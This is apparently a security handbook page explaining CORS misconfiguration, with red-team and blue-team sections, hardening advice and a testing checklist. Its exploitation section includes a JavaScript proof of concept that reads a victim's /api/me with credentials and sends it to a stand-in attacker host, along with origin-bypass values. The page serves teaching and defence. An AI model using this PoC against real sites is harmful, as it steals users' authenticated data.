CORS Misconfiguration
The Same-Origin Policy stops a site from reading responses from another origin. CORS
(Cross-Origin Resource Sharing) is how a server relaxes that rule on purpose, saying with
headers “this other origin may read me”. The bug appears when the server relaxes too much: if
it reflects any Origin or trusts origins it shouldn’t and allows credentials, an
attacker site reads the victim’s authenticated data.
sequenceDiagram
participant V as Victim (logged in)
participant E as evil.com
participant T as Target API
V->>E: visits evil.com
E->>T: fetch /api/me (credentials:include, Origin: evil.com)
T-->>E: 200 + ACAO: evil.com + victim's data
E->>E: exfiltrates the data to the attacker
Threat model
Section titled “Threat model”CORS doesn’t protect the server: it protects the victim’s browser from another site
reading responses issued with its cookies. A lax config breaks exactly that. The lethal
combination is a reflected Access-Control-Allow-Origin + Access-Control-Allow-Credentials: true: the victim’s browser, logged into the bank, lets evil.com do
fetch(..., {credentials:'include'}) and read the response.
Anatomy
Section titled “Anatomy”For each cross-origin request the server decides what to put in Access-Control-Allow-Origin
(ACAO). Two modes are safe: a fixed trusted origin, or * without credentials (public
data). The flaw is born when the server derives the ACAO from the incoming Origin
without an exact check, and also enables Allow-Credentials. The invariant the attack breaks:
the ACAO comes from an exact allow-list, and * and Allow-Credentials: true never
coexist.
GET /api/me HTTP/1.1Origin: https://evil.comCookie: session=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.com ← reflects the attacker OriginAccess-Control-Allow-Credentials: true ← and allows credentialsVariants
Section titled “Variants”- Direct reflection: the server returns whatever
Originit receives in the ACAO, no validation. Origin: null: many backends accept and reflect it; generated from asandboxiframe, adata:document or certain redirects.- Substring/prefix/suffix matching:
target.com.evil.com,eviltarget.comorhttps://target.evil.compass a lax check (contains/startsWith/endsWith). - Trusted subdomains + XSS: if
*.target.comis allowed and there’s XSS on any subdomain, that trust is abused. - Lax protocol/port: accepting
http://or any port widens the surface.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Try different Origin values and see what the response reflects:
curl -s -o /dev/null -D - https://target/api/me -H "Origin: https://evil.com" | grep -i access-controlCommon misconfigurations, by what the ACAO returns:
Origin: https://evil.com→ reflected as-is.Origin: null→ACAO: null.Origin: https://target.com.evil.com→ “endsWith without a dot”.Origin: https://eviltarget.com→ badly checked suffix/substring.
Exploitation — exfiltration PoC
Section titled “Exploitation — exfiltration PoC”If it reflects Origin and Allow-Credentials: true, an attacker page steals the
victim’s authenticated data:
<script> fetch("https://target/api/me", {credentials:"include"}) .then(r => r.text()) .then(d => fetch("https://attacker.tld/x?d=" + encodeURIComponent(d)));</script>For the null bypass, serve the response from a sandbox iframe (its Origin is null); if
the backend reflects it with credentials, the same fetch works.
By hand (the researcher’s flow)
Section titled “By hand (the researcher’s flow)”- Replay the request varying
Originand watch the ACAO and whetherAllow-Credentialsappears. - If the ACAO reflects your origin (or
null) with credentials, build thefetchPoC. - Confirm you read authenticated data (e.g.
/api/meof your own test session). - Document the impact with a minimal PoC served from an origin you control, without touching third-party data.
Tooling
Section titled “Tooling”Burp Suite (scanner + Repeater to vary Origin), Corsy/CORScanner (automated
detection of lax configs) and the browser console to validate the real credentialed fetch.
Impact and chaining
Section titled “Impact and chaining”Reading the victim’s authenticated data (profile, messages), stealing CSRF tokens or API keys the API exposes, and stealing JWT if they travel in the body. Chains with IDOR/BOLA and API security when the leaked response carries identifiers or other objects’ data.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Responses reflecting arbitrary
Originvalues inAccess-Control-Allow-Origin. ACAO: *alongside sensitive content, or a reflectedACAOwithAllow-Credentials: true.- Unexpected origins in preflight (
OPTIONS) logs.
Telemetry and sources
Section titled “Telemetry and sources”Log the incoming Origin and the outgoing ACAO; alert when origins outside the allow-list
are reflected, or when null appears.
Hardening
Section titled “Hardening”- Strict, exact allow-list of origins (full comparison, no lax substring/regex); never
reflect
Originunvalidated. - Never combine
ACAO: *(or arbitrary reflection) withAllow-Credentials: true. - Reject
Origin: null; don’t put it in the allow-list. - Limit allowed methods and headers to the minimum; mind trusted subdomains (an XSS on one exposes them all).
- Don’t rely on CORS alone to protect sensitive data: authenticate and authorize every endpoint.
Response
Section titled “Response”Fix the allow-list, rotate tokens/keys the API might have exposed, and review cross-origin access in the logs.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- A heavily reported bug-bounty class —
Originreflection + credentials is among the most common on HackerOne (user data read byevil.com); usually a misconfiguration, not a specific CVE. - Appliance panels and APIs — lax CORS configs found recurrently in audits.
- Multiple APIs — a history of exploitable
nullorigin and substring matching.
PortSwigger Web Security Academy documents reproducible labs for each variant.
Testing checklist
Section titled “Testing checklist”- Does the response reflect an arbitrary
Originin the ACAO? -
Allow-Credentials: truetogether with the reflection? (critical combination) - Is
Origin: nullaccepted? - Is validation a weak substring/regex? (try
target.com.evil.com) - Is
*.target.comtrusted with takeover-able subdomains or XSS? - Can
/api/mebe exfiltrated from a third-party page you control? - Does the API protect the data outside CORS too (per-endpoint authorization)?